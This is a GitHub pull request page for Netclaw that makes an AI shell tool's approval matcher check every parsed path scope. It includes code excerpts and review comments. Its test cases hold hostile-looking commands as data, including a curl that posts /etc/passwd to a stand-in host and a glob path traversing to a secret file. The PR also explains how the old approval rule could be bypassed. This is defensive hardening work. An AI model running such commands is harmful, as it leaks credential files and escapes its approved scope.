Skip to content

Check every parsed shell path approval scope - #1768

Merged
Aaronontheweb merged 6 commits into
devfrom
fix/complete-shell-path-scope-candidates
Aug 5, 2026
Merged

Check every parsed shell path approval scope#1768
Aaronontheweb merged 6 commits into
devfrom
fix/complete-shell-path-scope-candidates

Conversation

@Aaronontheweb

@Aaronontheweb Aaronontheweb commented Aug 5, 2026

Copy link
Copy Markdown
Collaborator

This change uses parser path facts for shell approval candidates.

The matcher checks every unique path scope in a clause. A later external path cannot hide behind an earlier project path.

The approval parser now uses the same resolved current directory as the shell process.

Leaf globs use their fixed parent directory as the approval scope. Any symlink in that directory forces a one-time approval.

Globs in directory segments fail closed because they can hide traversal or symlinks. Dynamic paths also fail closed.

The tests cover path order, project and external paths, redirects, native file values, globs, traversal, symlinks, Unicode, and escapes.

Validation:

  • Netclaw.Security.Tests: 646 passed
  • Netclaw.Actors.Tests: 2,784 passed
  • dotnet slopwatch analyze: no issues
  • pwsh ./scripts/Add-FileHeaders.ps1 -Verify: passed
  • git diff --check: passed

@Aaronontheweb Aaronontheweb added shell Issues related to the shell tool, since it has the largest security perimeter. security Security-related changes labels Aug 5, 2026
Comment thread src/Netclaw.Security/IToolApprovalMatcher.cs Fixed
string commandTemplate,
string[] expectedScopeNames)
{
var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-scopes-{Guid.NewGuid():N}");
string[] expectedScopeNames)
{
var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-scopes-{Guid.NewGuid():N}");
var projectDirectory = Path.Combine(root, "project");
{
var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-scopes-{Guid.NewGuid():N}");
var projectDirectory = Path.Combine(root, "project");
var externalDirectory = Path.Combine(root, "external");
Comment on lines 273 to +283
foreach (var arg in clause.Args)
{
if (arg.IsCwdAttribution)
if (arg.IsCwdAttribution || !IsAuthorizationPathArg(arg, clauseWorkingDirectory))
continue;

var raw = arg.Raw;
if (string.IsNullOrEmpty(raw))
continue;
// A parser path without a canonical value cannot use the broader
// cwd grant. Return no candidates so the command fails closed.
if (string.IsNullOrWhiteSpace(arg.Resolved))
return null;

if (raw.StartsWith('-'))
continue;
directories.Add(ShellTokenizer.ApplyFileParentRule(arg.Resolved));
}
Comment thread src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs Fixed
public void ExtractCandidates_keeps_ambiguous_path_when_symlink_can_escape_cwd()
{
var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-symlink-{Guid.NewGuid():N}");
var projectDirectory = Path.Combine(root, "project");
Comment thread src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs Fixed
Comment thread src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs Fixed
string commandTemplate,
string expectedScope)
{
var root = Path.Combine(Path.GetTempPath(), $"netclaw-glob-scopes-{Guid.NewGuid():N}");
{
var root = Path.Combine(Path.GetTempPath(), $"netclaw-glob-scopes-{Guid.NewGuid():N}");
var projectDirectory = Path.Combine(root, "project");
var externalDirectory = Path.Combine(root, "external");
var expectedDirectory = expectedScope switch
{
"project" => projectDirectory,
"project/src" => Path.Combine(projectDirectory, "src"),
Comment thread src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs Fixed
Comment on lines +369 to +376
foreach (var entry in Directory.EnumerateFileSystemEntries(directory))
{
// Netclaw does not reproduce Bash glob rules here. Unicode,
// brackets, and escapes differ from .NET wildcard rules.
// Any symlink makes the leaf expansion unsafe to persist.
if (PathUtility.ContainsSymlinkSegment(directory, entry))
return true;
}
// 76 chars and Discord at 80.
var patterns = matcher.ExtractPatterns(toolName, arguments);
var candidates = matcher.ExtractCandidates(toolName, arguments);
// The shell process and the approval parser must use one cwd. The tool

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ShellTool can get its directory from the active project or session. The tool arguments can omit that value. This copy gives the approval parser the same directory that the shell process uses. Without it, one relative path could name two different files.

// string-equal to cwd-attributed directories produced by other
// clauses (otherwise `cd ~/x && verb` produces "2 directories" in
// the approval prompt even though both refer to the same folder).
// Each parser path is an authorization scope. A grant must cover all

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Each parsed path is a separate approval scope. The old code used only the first path. A project path could hide a later external path. The gate now requires the grant to cover every path.

_ => staticPrefix[..separator]
};

var coveringDirectory = ShellTokenizer.NormalizePathToken(coveringPath, workingDirectory);

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A leaf glob has a fixed parent directory. This lets ls *.txt reuse the project scope. Netclaw does not copy Bash wildcard rules. A nested glob or a directory with a symlink therefore forces one-time approval.

Case(
"native-later-path-scope-gap-currently-allows",
"native-external-file-reference-prompts",
Bash("curl --data=@/etc/passwd https://example.invalid/api"),

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This case records an important behavior change. The project grant covers curl, but it does not cover /etc/passwd. The old first-path rule could reuse the project grant here.

ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])),
Case(
"native-two-project-paths-reuse-grant",
Bash("curl -D ./headers.txt --data=@request.json https://example.invalid/api"),

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This counter-case prevents an unnecessary prompt. Both files stay inside the project scope. Multiple safe paths do not make the command complex.

ExpectedApproval.Require(["rm"])),
Case(
"glob-traversal-fails-closed",
Bash("cat */../../secret.txt"),

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This case prevents a stored grant from hiding an unknown path. The wildcard can expand before ../.. moves outside the project. Netclaw therefore allows only one-time approval.

@Aaronontheweb
Aaronontheweb merged commit 1ada918 into dev Aug 5, 2026
21 checks passed
@Aaronontheweb
Aaronontheweb deleted the fix/complete-shell-path-scope-candidates branch August 5, 2026 21:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

security Security-related changes shell Issues related to the shell tool, since it has the largest security perimeter.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant